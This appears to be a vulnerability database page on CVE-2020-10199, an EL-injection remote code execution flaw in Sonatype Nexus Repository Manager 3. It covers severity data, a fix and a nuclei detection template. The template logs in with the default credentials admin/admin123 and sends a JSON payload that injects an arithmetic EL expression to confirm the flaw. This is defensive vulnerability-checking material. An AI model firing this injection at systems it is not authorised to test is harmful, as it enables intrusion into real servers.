Browse / CVEs / CVE-2020-10199
CVE-2020-10199· sonatype / nexus· CWE-917
Sonatype Nexus Repository Manager 3 - Remote Code Execution
Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.
highseverity
8.8CVSS score
99.1%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it
Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
Fix
Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
How to confirm it
Send: POST /service/rapture/session ; POST /service/rest/beta/repositories/bower/group
Positive when: contains "Member repository does not exist: A9999" AND status 400Run it with nuclei: nuclei -id CVE-2020-10199 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-10199
info:
name: Sonatype Nexus Repository Manager 3 - Remote Code Execution
author: rootxharsh,iamnoooob,pdresearch
severity: high
description: Sonatype Nexus Repository before 3.21.2 allows JavaEL Injection
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
remediation: |
Apply the latest security patches or upgrade to a non-vulnerable version of Sonatype Nexus Repository Manager 3.
reference:
- https://twitter.com/iamnoooob/status/1246182773427240967
- https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
- https://nvd.nist.gov/vuln/detail/CVE-2020-10199
- http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html
- https://cwe.mitre.org/data/definitions/917.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-10199
cwe-id: CWE-917
epss-score: 0.99064
epss-percentile: 0.99932
cpe: cpe:2.3:a:sonatype:nexus:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: sonatype
product: nexus
fofa-query: title="nexus repository manager"
tags: cve2020,cve,packetstorm,sonatype,nexus,rce,kev,vkev,vuln
variables:
username: admin
password: admin123
http:
- raw:
- |
POST /service/rapture/session HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{base64(username)}}&password={{base64(password)}}
- |
POST /service/rest/beta/repositories/bower/group HTTP/1.1
Host: {{Hostname}}
NX-ANTI-CSRF-TOKEN: 1
Cookie: NX-ANTI-CSRF-TOKEN=1
Content-Type: application/json
{"name": "internal", "online": "true", "storage": {"blobStoreName": "default", "strictContentTypeValidation": "true"}, "group": {"memberNames": ["$\\A{3*3333}"]}}
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- "Member repository does not exist: A9999"
- type: status
status:
- 400References
- https://twitter.com/iamnoooob/status/1246182773427240967
- https://securitylab.github.com/advisories/GHSL-2020-011-nxrm-sonatype
- https://nvd.nist.gov/vuln/detail/CVE-2020-10199
- http://packetstormsecurity.com/files/157261/Nexus-Repository-Manager-3.21.1-01-Remote-Code-Execution.html
- https://cwe.mitre.org/data/definitions/917.html
Use this check only on systems you are authorised to test. Where the data comes from